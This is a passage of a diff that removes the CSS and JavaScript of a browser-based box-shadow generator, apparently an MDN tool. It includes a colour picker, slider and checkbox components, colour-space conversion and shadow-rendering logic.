-	border: 2px solid #CCC;
-	position: relative;
-	top: 20%;
-	left: 20%;
-}
-
-#colorpicker #hue_selector,
-#colorpicker #alpha_selector {
-	width: 3px;
-	height: 100%;
-	border: 1px solid #777;
-	background-color: #FFF;
-	position: relative;
-	top: -1px;
-	left: 0%;
-}
-
-/* input HSV and RGB */
-#colorpicker .info {
-	width: 200px;
-	margin: 5px;
-	float: left;
-}
-
-#colorpicker .info * {
-	float: left;
-}
-
-#colorpicker .info input {
-	margin: 0;
-	text-align: center;
-	width: 30px;
-	-moz-user-select: text;
-	-webkit-user-select: text;
-	-ms-user-select: text;
-}
-
-#colorpicker .info span {
-	height: 20px;
-	width: 30px;
-	text-align: center;
-	line-height: 20px;
-	display: block;
-}
-
-/* Preview color */
-#colorpicker .block {
-	width: 95px;
-	height: 54px;
-	float: left;
-	position: relative;
-}
-
-#colorpicker .preview {
-	margin: 5px;
-	border: 1px solid #CCC;
-	background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png");
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-#colorpicker .preview:before {
-	height: 100%;
-	width: 50%;
-	left: 50%;
-	content: "";
-	background: #FFF;
-	position: absolute;
-	z-index: 1;
-}
-
-#colorpicker .preview > * {
-	width: 50%;
-	height: 100%;
-}
-
-#colorpicker #output_color {
-	width: 100%;
-	height: 100%;
-	position: absolute;
-	z-index: 2;
-}
-
-#colorpicker .block .input {
-	float: right;
-}
-
-#colorpicker [data-topic="a"] > span {
-	width: 50px;
-}
-
-#colorpicker [data-topic="hexa"] {
-	float: right;
-	margin: 10px 0 0 0;
-}
-
-#colorpicker [data-topic="hexa"] > span {
-	display: none;
-}
-
-#colorpicker [data-topic="hexa"] > input {
-	width: 85px;
-	padding: 2px 0;
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-
-/*
- * UI Components
- */
-
-/* Property */
-
-.property {
-	height: 20px;
-	margin: 10px 0;
-}
-
-.property * {
-	float: left;
-	height: 100%;
-	line-height: 100%;
-}
-
-/* Slider */
-
-#controls .ui-slider-name {
-	margin: 0 10px 0 0;
-}
-
-/*
- * Output code styling
- */
-
-#output {
-	position: relative;
-}
-
-#output .menu {
-	max-width: 70%;
-	height: 20px;
-	position: absolute;
-	top: 2px;
-}
-
-#output .button {
-	width: 90px;
-	height: 22px;
-	margin: 0 5px 0 0;
-	text-align: center;
-	line-height: 20px;
-	font-size: 14px;
-	color: #FFF;
-	background-color: #999;
-	border-top-left-radius: 3px;
-	border-top-right-radius: 3px;
-	bottom: -5px;
-	float:left;
-}
-
-#output .button:hover {
-	color: #FFF;
-	background-color: #666;
-	cursor: pointer;
-}
-
-#output .menu [data-active="true"] {
-	color: #777;
-	background-color: #FFF;
-	border: 1px solid #CCC;
-	border-bottom: none;
-}
-
-#output .menu [data-topic="before"] {
-	left: 100px;
-}
-
-#output .menu [data-topic="after"] {
-	left: 200px;
-}
-
-#output .output {
-	width: 480px;
-	margin: 10px;
-	padding: 10px;
-	overflow: hidden;
-	color: #555;
-	font-size: 14px;
-	border: 1px dashed #CCC;
-	border-radius: 3px;
-	display: none;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-
-	-moz-user-select: text;
-	-webkit-user-select: text;
-	-ms-user-select: text;
-}
-
-#output .css-property {
-	width: 100%;
-	float: left;
-	white-space: pre;
-}
-
-#output .name {
-	width: 35%;
-	float: left;
-}
-
-#output .value {
-	width: 65%;
-	float: left;
-}
-
-
- -

JavaScript Content

- -

-
-'use strict';
-
-/**
- * UI-SlidersManager
- */
-
-var SliderManager = (function SliderManager() {
-
-	var subscribers = {};
-	var sliders = [];
-
-	var Slider = function(node) {
-		var min = node.getAttribute('data-min') | 0;
-		var max = node.getAttribute('data-max') | 0;
-		var step = node.getAttribute('data-step') | 0;
-		var value = node.getAttribute('data-value') | 0;
-		var snap = node.getAttribute('data-snap');
-		var topic = node.getAttribute('data-topic');
-
-		this.min = min;
-		this.max = max > 0 ? max : 100;
-		this.step = step === 0 ? 1 : step;
-		this.value = value <= max && value >= min ? value : (min + max) / 2 | 0;
-		this.snap = snap === "true" ? true : false;
-		this.topic = topic;
-		this.node = node;
-
-		var pointer = document.createElement('div');
-		pointer.className = 'ui-slider-pointer';
-		node.appendChild(pointer);
-		this.pointer = pointer;
-
-		setMouseTracking(node, updateSlider.bind(this));
-
-		sliders[topic] = this;
-		setValue(topic, this.value);
-	}
-
-	var setButtonComponent = function setButtonComponent(node) {
-		var type = node.getAttribute('data-type');
-		var topic = node.getAttribute('data-topic');
-		if (type === "sub") {
-			node.textContent = '-';
-			node.addEventListener("click", function() {
-				decrement(topic);
-			});
-		}
-		if (type === "add") {
-			node.textContent = '+';
-			node.addEventListener("click", function() {
-				increment(topic);
-			});
-		}
-	}
-
-	var setInputComponent = function setInputComponent(node) {
-		var topic		= node.getAttribute('data-topic');
-		var unit_type	= node.getAttribute('data-unit');
-
-		var input = document.createElement('input');
-		var unit = document.createElement('span');
-		unit.textContent = unit_type;
-
-		input.setAttribute('type', 'text');
-		node.appendChild(input);
-		node.appendChild(unit);
-
-		input.addEventListener('click', function(e) {
-			this.select();
-		});
-
-		input.addEventListener('change', function(e) {
-			setValue(topic, e.target.value | 0);
-		});
-
-		subscribe(topic, function(value) {
-			node.children[0].value = value;
-		});
-	}
-
-	var increment = function increment(topic) {
-		var slider = sliders[topic];
-		if (slider === null || slider === undefined)
-			return;
-
-		if (slider.value + slider.step <= slider.max) {
-			slider.value += slider.step;
-			setValue(slider.topic, slider.value)
-			notify.call(slider);
-		}
-	};
-
-	var decrement = function decrement(topic) {
-		var slider = sliders[topic];
-		if (slider === null || slider === undefined)
-			return;
-
-		if (slider.value - slider.step >= slider.min) {
-			slider.value -= slider.step;
-			setValue(topic, slider.value)
-			notify.call(slider);
-		}
-	}
-
-	// this = Slider object
-	var updateSlider = function updateSlider(e) {
-		var node = this.node;
-		var pos = e.pageX - node.offsetLeft;
-		var width = node.clientWidth;
-		var delta = this.max - this.min;
-		var offset = this.pointer.clientWidth + 4; // border width * 2
-
-		if (pos < 0) pos = 0;
-		if (pos > width) pos = width;
-
-		var value = pos * delta / width | 0;
-		var precision = value % this.step;
-		value = value - precision + this.min;
-		if (precision > this.step / 2)
-			value = value + this.step;
-
-		if (this.snap)
-			pos =  (value - this.min) * width / delta;
-
-		this.pointer.style.left = pos - offset/2 + "px";
-		this.value = value;
-		node.setAttribute('data-value', value);
-		notify.call(this);
-	}
-
-	var setValue = function setValue(topic, value) {
-		var slider = sliders[topic];
-
-		if (value > slider.max || value < slider.min)
-			return;
-
-		var delta = slider.max - slider.min;
-		var width = slider.node.clientWidth;
-		var offset = slider.pointer.clientWidth;
-		var pos =  (value - slider.min) * width / delta;
-		slider.value = value;
-		slider.pointer.style.left = pos - offset / 2 + "px";
-		slider.node.setAttribute('data-value', value);
-		notify.call(slider);
-	}
-
-	var setMouseTracking = function setMouseTracking(elem, callback) {
-		elem.addEventListener("mousedown", function(e) {
-			callback(e);
-			document.addEventListener("mousemove", callback);
-		});
-
-		document.addEventListener("mouseup", function(e) {
-			document.removeEventListener("mousemove", callback);
-		});
-	}
-
-	var subscribe = function subscribe(topic, callback) {
-		if (subscribers[topic] === undefined)
-			subscribers[topic] = [];
-		subscribers[topic].push(callback);
-	}
-
-	var unsubscribe = function unsubscribe(topic, callback) {
-		subscribers[topic].indexOf(callback);
-		subscribers[topic].splice(index, 1);
-	}
-
-	var notify = function notify() {
-		if (subscribers[this.topic] === undefined)
-			return;
-
-		for (var i in subscribers[this.topic]) {
-			subscribers[this.topic][i](this.value);
-		}
-	}
-
-	var init = function init() {
-		var elem, size;
-
-		elem = document.querySelectorAll('.ui-slider-btn-set');
-		size = elem.length;
-		for (var i = 0; i < size; i++)
-			setButtonComponent(elem[i]);
-
-		elem = document.querySelectorAll('.ui-slider-input');
-		size = elem.length;
-		for (var i = 0; i < size; i++)
-			setInputComponent(elem[i]);
-
-		elem = document.querySelectorAll('.ui-slider');
-		size = elem.length;
-		for (var i = 0; i < size; i++)
-			new Slider(elem[i]);
-	}
-
-	return {
-		init : init,
-		setValue : setValue,
-		subscribe : subscribe,
-		unsubscribe : unsubscribe
-	}
-
-})();
-
-/**
- * UI-ButtonManager
- */
-
-var ButtonManager = (function CheckBoxManager() {
-
-	var subscribers = [];
-	var buttons = [];
-
-	var CheckBox = function CheckBox(node) {
-		var topic = node.getAttribute('data-topic');
-		var state = node.getAttribute('data-state');
-		var name = node.getAttribute('data-label');
-		var align = node.getAttribute('data-text-on');
-
-		state = (state === "true");
-
-		var checkbox = document.createElement("input");
-		var label = document.createElement("label");
-
-		var id = 'checkbox-' + topic;
-		checkbox.id = id;
-		checkbox.setAttribute('type', 'checkbox');
-		checkbox.checked = state;
-
-		label.setAttribute('for', id);
-		if (name) {
-			label.className = 'text';
-			if (align)
-				label.className += ' ' + align;
-			label.textContent = name;
-		}
-
-		node.appendChild(checkbox);
-		node.appendChild(label);
-
-		this.node = node;
-		this.topic = topic;
-		this.checkbox = checkbox;
-
-		checkbox.addEventListener('change', function(e) {
-			notify.call(this);
-		}.bind(this));
-
-		buttons[topic] = this;
-	}
-
-	var getNode =  function getNode(topic) {
-		return buttons[topic].node;
-	}
-
-	var setValue = function setValue(topic, value) {
-		try {
-			buttons[topic].checkbox.checked = value;
-			notify.call(buttons[topic]);
-		}
-		catch(error) {
-			console.log(error, topic, value);
-		}
-	}
-
-	var subscribe = function subscribe(topic, callback) {
-		if (subscribers[topic] === undefined)
-			subscribers[topic] = [];
-
-		subscribers[topic].push(callback);
-	}
-
-	var unsubscribe = function unsubscribe(topic, callback) {
-		subscribers[topic].indexOf(callback);
-		subscribers[topic].splice(index, 1);
-	}
-
-	var notify = function notify() {
-		if (subscribers[this.topic] === undefined)
-			return;
-		for (var i = 0; i < subscribers[this.topic].length; i++)
-			subscribers[this.topic][i](this.checkbox.checked);
-	}
-
-	var init = function init() {
-		var elem = document.querySelectorAll('.ui-checkbox');
-		var size = elem.length;
-		for (var i = 0; i < size; i++)
-			new CheckBox(elem[i]);
-	}
-
-	return {
-		init : init,
-		setValue : setValue,
-		subscribe : subscribe,
-		unsubscribe : unsubscribe
-	}
-
-})();
-
-
-window.addEventListener("load", function(){
-	BoxShadow.init();
-});
-
-var BoxShadow = (function BoxShadow() {
-
-	function getElemById(id) {
-		return document.getElementById(id);
-	}
-
-	/**
-	 * RGBA Color class
-	 */
-
-	function Color() {
-		this.r = 0;
-		this.g = 0;
-		this.b = 0;
-		this.a = 1;
-		this.hue = 0;
-		this.saturation = 0;
-		this.value = 0;
-	}
-
-	Color.prototype.copy = function copy(obj) {
-		if(obj instanceof Color !== true) {
-			console.log("Typeof instance not Color");
-			return;
-		}
-
-		this.r = obj.r;
-		this.g = obj.g;
-		this.b = obj.b;
-		this.a = obj.a;
-		this.hue = obj.hue;
-		this.saturation = obj.saturation;
-		this.value = obj.value;
-	}
-
-	Color.prototype.setRGBA = function setRGBA(red, green, blue, alpha) {
-		if (red != undefined)
-			this.r = red | 0;
-		if (green != undefined)
-			this.g = green | 0;
-		if (blue != undefined)
-			this.b = blue | 0;
-		if (alpha != undefined)
-			this.a = alpha | 0;
-	}
-
-	/**
-	 * HSV/HSB (hue, saturation, value / brightness)
-	 * @param hue			0-360
-	 * @param saturation	0-100
-	 * @param value 		0-100
-	 */
-	Color.prototype.setHSV = function setHSV(hue, saturation, value) {
-		this.hue = hue;
-		this.saturation = saturation;
-		this.value = value;
-		this.updateRGB();
-	}
-
-	Color.prototype.updateRGB = function updateRGB() {
-		var sat = this.saturation / 100;
-		var value = this.value / 100;
-		var C = sat * value;
-		var H = this.hue / 60;
-		var X = C * (1 - Math.abs(H % 2 - 1));
-		var m = value - C;
-		var precision = 255;
-
-		C = (C + m) * precision;
-		X = (X + m) * precision;
-		m = m * precision;
-
-		if (H >= 0 && H < 1) {	this.setRGBA(C, X, m);	return; }
-		if (H >= 1 && H < 2) {	this.setRGBA(X, C, m);	return; }
-		if (H >= 2 && H < 3) {	this.setRGBA(m, C, X);	return; }
-		if (H >= 3 && H < 4) {	this.setRGBA(m, X, C);	return; }
-		if (H >= 4 && H < 5) {	this.setRGBA(X, m, C);	return; }
-		if (H >= 5 && H < 6) {	this.setRGBA(C, m, X);	return; }
-	}
-
-	Color.prototype.updateHSV = function updateHSV() {
-		var red		= this.r / 255;
-		var green	= this.g / 255;
-		var blue	= this.b / 255;
-
-		var cmax = Math.max(red, green, blue);
-		var cmin = Math.min(red, green, blue);
-		var delta = cmax - cmin;
-		var hue = 0;
-		var saturation = 0;
-
-		if (delta) {
-			if (cmax === red ) { hue = ((green - blue) / delta); }
-			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
-			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
-			if (cmax) saturation = delta / cmax;
-		}
-
-		this.hue = 60 * hue | 0;
-		if (this.hue < 0) this.hue += 360;
-		this.saturation = (saturation * 100) | 0;
-		this.value = (cmax * 100) | 0;
-	}
-
-	Color.prototype.setHexa = function setHexa(value) {
-		var valid  = /(^#{0,1}[0-9A-F]{6}$)|(^#{0,1}[0-9A-F]{3}$)/i.test(value)
-		if (valid !== true)
-			return;
-
-		if (value[0] === '#')
-			value = value.slice(1, value.length);
-
-		if (value.length === 3)
-			value = value.replace(/([0-9A-F])([0-9A-F])([0-9A-F])/i,"$1$1$2$2$3$3");
-
-		this.r = parseInt(value.substr(0, 2), 16);
-		this.g = parseInt(value.substr(2, 2), 16);
-		this.b = parseInt(value.substr(4, 2), 16);
-
-		this.alpha	= 1;
-	}
-
-	Color.prototype.getHexa = function getHexa() {
-		var r = this.r.toString(16);
-		var g = this.g.toString(16);
-		var b = this.b.toString(16);
-		if (this.r < 16) r = '0' + r;
-		if (this.g < 16) g = '0' + g;
-		if (this.b < 16) b = '0' + b;
-		var value = '#' + r + g + b;
-		return value.toUpperCase();
-	}
-
-	Color.prototype.getRGBA = function getRGBA() {
-
-		var rgb = "(" + this.r + ", " + this.g + ", " + this.b;
-		var a = '';
-		var v = '';
-		if (this.a !== 1) {
-			a = 'a';
-			v = ', ' + this.a;
-		}
-
-		var value = "rgb" + a + rgb + v + ")";
-		return value;
-	}
-
-	Color.prototype.getColor = function getColor() {
-		if (this.a | 0 === 1)
-			return this.getHexa();
-		return this.getRGBA();
-	}
-
-	/**
-	 * Shadow Object
-	 */
-	function Shadow() {
-		this.inset  = false;
-		this.posX   = 5;
-		this.posY   = -5;
-		this.blur   = 5;
-		this.spread = 0;
-		this.color  = new Color();
-
-		var hue			= (Math.random() * 360) | 0;
-		var saturation	= (Math.random() * 75) | 0;
-		var value 		= (Math.random() * 50 + 50) | 0;
-		this.color.setHSV(hue, saturation, value, 1);
-	}
-
-	Shadow.prototype.computeCSS = function computeCSS() {
-		var value = "";
-		if (this.inset === true)
-			value += "inset ";
-		value += this.posX + "px ";
-		value += this.posY + "px ";
-		value += this.blur + "px ";
-		value += this.spread + "px ";
-		value += this.color.getColor();
-
-		return value;
-	}
-
-	Shadow.prototype.toggleInset = function toggleInset(value) {
-		if (value !== undefined || typeof value === "boolean")
-			this.inset = value;
-		else
-			this.inset = this.inset === true ? false : true;
-	}
-
-	Shadow.prototype.copy = function copy(obj) {
-		if(obj instanceof Shadow !== true) {
-			console.log("Typeof instance not Shadow");
-			return;
-		}
-
-		this.inset  = obj.inset;
-		this.posX   = obj.posX;
-		this.posY   = obj.posY;
-		this.blur   = obj.blur;
-		this.spread = obj.spread;
-		this.color.copy(obj.color);
-	}
-
-	/**
-	 * Color Picker
-	 */
-	var ColoPicker = (function ColoPicker() {
-
-		var colorpicker;
-		var hue_area;
-		var gradient_area;
-		var alpha_area;
-		var gradient_picker;
-		var hue_selector;
-		var alpha_selector;
-		var pick_object;
-		var info_rgb;
-		var info_hsv;
-		var info_hexa;
-		var output_color;
-		var color = new Color();
-		var subscribers = [];
-
-		var updateColor = function updateColor(e) {
-			var x = e.pageX - gradient_area.offsetLeft;
-			var y = e.pageY - gradient_area.offsetTop;
-
-			// width and height should be the same
-			var size = gradient_area.clientWidth;
-
-			if (x > size)
-				x = size;
-			if (y > size)
-				y = size;
-
-			if (x < 0) x = 0;
-			if (y < 0) y = 0;
-
-			var value = 100 - (y * 100 / size) | 0;
-			var saturation = x * 100 / size | 0;
-
-			color.setHSV(color.hue, saturation, value);
-			// should update just
-			// color pointer location
-			updateUI();
-			notify("color", color);
-		}
-
-		var updateHue = function updateHue(e) {
-			var x = e.pageX - hue_area.offsetLeft;
-			var width = hue_area.clientWidth;
-
-			if (x < 0) x = 0;
-			if (x > width) x = width;
-
-			var hue = ((360 * x) / width) | 0;
-			if (hue === 360) hue = 359;
-
-			color.setHSV(hue, color.saturation, color.value);
-
-			// should update just
-			// hue pointer location
-			// picker area background
-			// alpha area background
-			updateUI();
-			notify("color", color);
-		}
-
-		var updateAlpha = function updateAlpha(e) {
-			var x = e.pageX - alpha_area.offsetLeft;
-			var width = alpha_area.clientWidth;
-
-			if (x < 0) x = 0;
-			if (x > width) x = width;
-
-			color.a = (x / width).toFixed(2);
-
-			// should update just
-			// alpha pointer location
-			updateUI();
-			notify("color", color);
-		}
-
-		var setHueGfx = function setHueGfx(hue) {
-			var sat = color.saturation;
-			var val = color.value;
-			var alpha = color.a;
-
-			color.setHSV(hue, 100, 100);
-			gradient_area.style.backgroundColor = color.getHexa();
-
-			color.a = 0;
-			var start = color.getRGBA();
-			color.a = 1;
-			var end = color.getRGBA();
-			color.a = alpha;
-
-			var gradient = '-moz-linear-gradient(left, ' +	start + '0%, ' + end + ' 100%)';
-			alpha_area.style.background = gradient;
-		}
-
-		var updateUI = function updateUI() {
-			var x, y;		// coordinates
-			var size;		// size of the area
-			var offset;		// pointer graphic selector offset
-
-			// Set color pointer location
-			size = gradient_area.clientWidth;
-			offset = gradient_picker.clientWidth / 2 + 2;
-
-			x = (color.saturation * size / 100) | 0;
-			y = size - (color.value * size / 100) | 0;
-
-			gradient_picker.style.left = x - offset + "px";
-			gradient_picker.style.top = y - offset + "px";
-
-			// Set hue pointer location
-			size = hue_area.clientWidth;
-			offset = hue_selector.clientWidth/2;
-			x = (color.hue * size / 360 ) | 0;
-			hue_selector.style.left = x - offset + "px";
-
-			// Set alpha pointer location
-			size = alpha_area.clientWidth;
-			offset = alpha_selector.clientWidth/2;
-			x = (color.a * size) | 0;
-			alpha_selector.style.left = x - offset + "px";
-
-			// Set picker area background
-			var nc = new Color();
-			nc.copy(color);
-			if (nc.hue === 360) nc.hue = 0;
-			nc.setHSV(nc.hue, 100, 100);
-			gradient_area.style.backgroundColor = nc.getHexa();
-
-			// Set alpha area background
-			nc.copy(color);
-			nc.a = 0;
-			var start = nc.getRGBA();
-			nc.a = 1;
-			var end = nc.getRGBA();
-			var gradient = '-moz-linear-gradient(left, ' +	start + '0%, ' + end + ' 100%)';
-			alpha_area.style.background = gradient;
-
-			// Update color info
-			notify("color", color);
-			notify("hue", color.hue);
-			notify("saturation", color.saturation);
-			notify("value", color.value);
-			notify("r", color.r);
-			notify("g", color.g);
-			notify("b", color.b);
-			notify("a", color.a);
-			notify("hexa", color.getHexa());
-			output_color.style.backgroundColor = color.getRGBA();
-		}
-
-		var setInputComponent = function setInputComponent(node) {
-			var topic = node.getAttribute('data-topic');
-			var title = node.getAttribute('data-title');
-			var action = node.getAttribute('data-action');
-			title = title === null ? '' : title;
-
-			var input = document.createElement('input');
-			var info = document.createElement('span');
-			info.textContent = title;
-
-			input.setAttribute('type', 'text');
-			input.setAttribute('data-action', 'set-' + action + '-' + topic);
-			node.appendChild(info);
-			node.appendChild(input);
-
-			input.addEventListener('click', function(e) {
-				this.select();
-			});
-
-			input.addEventListener('change', function(e) {
-				if (action === 'HSV')
-					inputChangeHSV(topic);
-				if (action === 'RGB')
-					inputChangeRGB(topic);
-				if (action === 'alpha')
-					inputChangeAlpha(topic);
-				if (action === 'hexa')
-					inputChangeHexa(topic);
-			});
-
-			subscribe(topic, function(value) {
-				node.children[1].value = value;
-			});
-		}
-
-		var inputChangeHSV = function actionHSV(topic) {
-			var selector = "[data-action='set-HSV-" + topic + "']";
-			var node = document.querySelector("#colorpicker " + selector);
-			var value = parseInt(node.value);
-
-			if (typeof value === 'number' && isNaN(value) === false &&
-				value >= 0 && value < 360)
-				color[topic] = value;
-
-			color.updateRGB();
-			updateUI();
-		}
-
-		var inputChangeRGB = function inputChangeRGB(topic) {
-			var selector = "[data-action='set-RGB-" + topic + "']";
-			var node = document.querySelector("#colorpicker " + selector);
-			var value = parseInt(node.value);
-
-			if (typeof value === 'number' && isNaN(value) === false &&
-				value >= 0 && value <= 255)
-				color[topic] = value;
-
-			color.updateHSV();
-			updateUI();
-		}
-
-		var inputChangeAlpha = function inputChangeAlpha(topic) {
-			var selector = "[data-action='set-alpha-" + topic + "']";
-			var node = document.querySelector("#colorpicker " + selector);
-			var value = parseFloat(node.value);
-
-			if (typeof value === 'number' && isNaN(value) === false &&
-				value >= 0 && value <= 1)
-				color.a = value.toFixed(2);
-
-			updateUI();
-		}
-
-		var inputChangeHexa = function inputChangeHexa(topic) {
-			var selector = "[data-action='set-hexa-" + topic + "']";
-			var node = document.querySelector("#colorpicker " + selector);
-			var value = node.value;
-			color.setHexa(value);
-			color.updateHSV();
-			updateUI();
-		}
-
-		var setMouseTracking = function setMouseTracking(elem, callback) {
-
-			elem.addEventListener("mousedown", function(e) {
-				callback(e);
-				document.addEventListener("mousemove", callback);
-			});
-
-			document.addEventListener("mouseup", function(e) {
-				document.removeEventListener("mousemove", callback);
-			});
-		}
-
-		/*
-		 * Observer
-		 */
-		var setColor = function setColor(obj) {
-			if(obj instanceof Color !== true) {
-				console.log("Typeof instance not Color");
-				return;
-			}
-			color.copy(obj);
-			updateUI();
-		}
-
-		var subscribe = function subscribe(topic, callback) {
-			if (subscribers[topic] === undefined)
-				subscribers[topic] = [];
-
-			subscribers[topic].push(callback);
-		}
-
-		var unsubscribe = function unsubscribe(callback) {
-			subscribers.indexOf(callback);
-			subscribers.splice(index, 1);
-		}
-
-		var notify = function notify(topic, value) {
-			for (var i in subscribers[topic])
-				subscribers[topic][i](value);
-		}
-
-		var init = function init() {
-			colorpicker		= getElemById("colorpicker");
-			hue_area		= getElemById("hue");
-			gradient_area	= getElemById("gradient");
-			alpha_area		= getElemById("alpha");
-			gradient_picker	= getElemById("gradient_picker");
-			hue_selector	= getElemById("hue_selector");
-			alpha_selector	= getElemById("alpha_selector");
-			output_color	= getElemById("output_color");
-
-			var elem = document.querySelectorAll('#colorpicker .input');
-			var size = elem.length;
-			for (var i = 0; i < size; i++)
-				setInputComponent(elem[i]);
-
-			setMouseTracking(gradient_area, updateColor);
-			setMouseTracking(hue_area, updateHue);
-			setMouseTracking(alpha_area, updateAlpha);
-
-		}
-
-		return {
-			init : init,
-			setColor : setColor,
-			subscribe : subscribe,
-			unsubscribe : unsubscribe
-		}
-
-	})();
-
-	/**
-	 * Shadow dragging
-	 */
-	var PreviewMouseTracking = (function Drag() {
-		var active = false;
-		var lastX = 0;
-		var lastY = 0;
-		var subscribers = [];
-
-		var init = function init(id) {
-			var elem = getElemById(id);
-			elem.addEventListener('mousedown', dragStart, false);
-			document.addEventListener('mouseup', dragEnd, false);
-		}
-
-		var dragStart = function dragStart(e) {
-			if (e.button !== 0)
-				return;
-
-			active = true;
-			lastX = e.clientX;
-			lastY = e.clientY;
-			document.addEventListener('mousemove', mouseDrag, false);
-		}
-
-		var dragEnd = function dragEnd(e) {
-			if (e.button !== 0)
-				return;
-
-			if (active === true) {
-				active = false;
-				document.removeEventListener('mousemove', mouseDrag, false);
-			}
-		}
-
-		var mouseDrag = function mouseDrag(e) {
-			notify(e.clientX - lastX, e.clientY - lastY);
-			lastX = e.clientX;
-			lastY = e.clientY;
-		}
-
-		var subscribe = function subscribe(callback) {
-			subscribers.push(callback);
-		}
-
-		var unsubscribe = function unsubscribe(callback) {
-			var index = subscribers.indexOf(callback);
-			subscribers.splice(index, 1);
-		}
-
-		var notify = function notify(deltaX, deltaY) {
-			for (var i in subscribers)
-				subscribers[i](deltaX, deltaY);
-		}
-
-		return {
-			init : init,
-			subscribe : subscribe,
-			unsubscribe : unsubscribe
-		}
-
-	})();
-
-	/*
-	 * Element Class
-	 */
-	var CssClass = function CssClass(id) {
-		this.left = 0;
-		this.top = 0;
-		this.rotate = 0;
-		this.width = 300;
-		this.height = 100;
-		this.display = true;
-		this.border = true;
-		this.zIndex = -1;
-		this.bgcolor = new Color();
-		this.id = id;
-		this.node = getElemById('obj-' + id);
-		this.object = getElemById(id);
-		this.shadowID = null;
-		this.shadows = []
-		this.render = [];
-		this.init();
-	}
-
-	CssClass.prototype.init = function init() {
-		this.left = ((this.node.parentNode.clientWidth - this.node.clientWidth) / 2) | 0;
-		this.top = ((this.node.parentNode.clientHeight - this.node.clientHeight) / 2) | 0;
-
-		this.setTop(this.top);
-		this.setLeft(this.left);
-		this.setHeight(this.height);
-		this.setWidth(this.width);
-		this.bgcolor.setHSV(0, 0, 100);
-		this.updateBgColor(this.bgcolor);
-	}
-
-	CssClass.prototype.updatePos = function updatePos(deltaX, deltaY) {
-		this.left += deltaX;
-		this.top += deltaY;
-		this.node.style.top = this.top + "px";
-		this.node.style.left = this.left + "px";
-		SliderManager.setValue("left", this.left);
-		SliderManager.setValue("top", this.top);
-	}
-
-	CssClass.prototype.setLeft = function setLeft(value) {
-		this.left = value;
-		this.node.style.left = this.left + "px";
-		OutputManager.updateProperty(this.id, 'left', this.left + 'px');
-	}
-
-	CssClass.prototype.setTop = function setTop(value) {
-		this.top = value;
-		this.node.style.top = this.top + 'px';
-		OutputManager.updateProperty(this.id, 'top', this.top + 'px');
-	}
-
-	CssClass.prototype.setWidth = function setWidth(value) {
-		this.width = value;
-		this.node.style.width = this.width + 'px';
-		OutputManager.updateProperty(this.id, 'width', this.width + 'px');
-	}
-
-	CssClass.prototype.setHeight = function setHeight(value) {
-		this.height = value;
-		this.node.style.height = this.height + 'px';
-		OutputManager.updateProperty(this.id, 'height', this.height + 'px');
-	}
-
-	// Browser support
-	CssClass.prototype.setRotate = function setRotate(value) {
-		var cssvalue = 'rotate(' + value +'deg)';
-
-		this.node.style.transform = cssvalue;
-		this.node.style.webkitTransform = cssvalue;
-		this.node.style.msTransform = cssvalue;
-
-		if (value !== 0) {
-			if (this.rotate === 0) {
-				OutputManager.toggleProperty(this.id, 'transform', true);
-				OutputManager.toggleProperty(this.id, '-webkit-transform', true);
-				OutputManager.toggleProperty(this.id, '-ms-transform', true);
-			}
-		}
-		else {
-			OutputManager.toggleProperty(this.id, 'transform', false);
-			OutputManager.toggleProperty(this.id, '-webkit-transform', false);
-			OutputManager.toggleProperty(this.id, '-ms-transform', false);
-		}
-
-		OutputManager.updateProperty(this.id, 'transform', cssvalue);
-		OutputManager.updateProperty(this.id, '-webkit-transform', cssvalue);
-		OutputManager.updateProperty(this.id, '-ms-transform', cssvalue);
-		this.rotate = value;
-	}
-
-	CssClass.prototype.setzIndex = function setzIndex(value) {
-		this.node.style.zIndex = value;
-		OutputManager.updateProperty(this.id, 'z-index', value);
-		this.zIndex = value;
-	}
-
-	CssClass.prototype.toggleDisplay = function toggleDisplay(value) {
-		if (typeof value !== "boolean" || this.display === value)
-			return;
-
-		this.display = value;
-		var display = this.display === true ? "block" : "none";
-		this.node.style.display = display;
-		this.object.style.display = display;
-	}
-
-	CssClass.prototype.toggleBorder = function toggleBorder(value) {
-		if (typeof value !== "boolean" || this.border === value)
-			return;
-
-		this.border = value;
-		var border = this.border === true ? "1px solid #CCC" : "none";
-		this.node.style.border = border;
-	}
-
-	CssClass.prototype.updateBgColor = function updateBgColor(color) {
-		this.bgcolor.copy(color);
-		this.node.style.backgroundColor = color.getColor();
-		OutputManager.updateProperty(this.id, 'background-color', color.getColor());
-	}
-
-	CssClass.prototype.updateShadows = function updateShadows() {
-		if (this.render.length === 0)
-			OutputManager.toggleProperty(this.id, 'box-shadow', false);
-		if (this.render.length === 1)
-			OutputManager.toggleProperty(this.id, 'box-shadow', true);
-
-		this.node.style.boxShadow = this.render.join(", ");
-		OutputManager.updateProperty(this.id, 'box-shadow', this.render.join(", \n"));
-
-	}
-
-
-	/**
-	 * Tool Manager
-	 */
-	var Tool = (function Tool() {
-
-		var preview;
-		var classes = [];
-		var active = null;
-		var animate = false;
-
-		/*
-		 * Toll actions
-		 */
-		var addCssClass = function addCssClass(id) {
-			classes[id] = new CssClass(id);
-		}
-
-		var setActiveClass = function setActiveClass(id) {
-			active = classes[id];
-			active.shadowID = null;
-			ColoPicker.setColor(classes[id].bgcolor);
-			SliderManager.setValue("top", active.top);
-			SliderManager.setValue("left", active.left);
-			SliderManager.setValue("rotate", active.rotate);
-			SliderManager.setValue("z-index", active.zIndex);
-			SliderManager.setValue("width", active.width);
-			SliderManager.setValue("height", active.height);
-			ButtonManager.setValue("border-state", active.border);
-			active.updateShadows();
-		}
-
-		var disableClass = function disableClass(topic) {
-			classes[topic].toggleDisplay(false);
-			ButtonManager.setValue(topic, false);
-		}
-
-		var addShadow = function addShadow(position) {
-			if (animate === true)
-				return -1;
-
-			active.shadows.splice(position, 0, new Shadow());
-			active.render.splice(position, 0, null);
-		}
-
-		var swapShadow = function swapShadow(id1, id2) {
-			var x = active.shadows[id1];
-			active.shadows[id1] = active.shadows[id2];
-			active.shadows[id2] = x;
-			updateShadowCSS(id1);
-			updateShadowCSS(id2);
-		}
-
-		var deleteShadow = function deleteShadow(position) {
-			active.shadows.splice(position, 1);
-			active.render.splice(position, 1);
-			active.updateShadows();
-		}
-
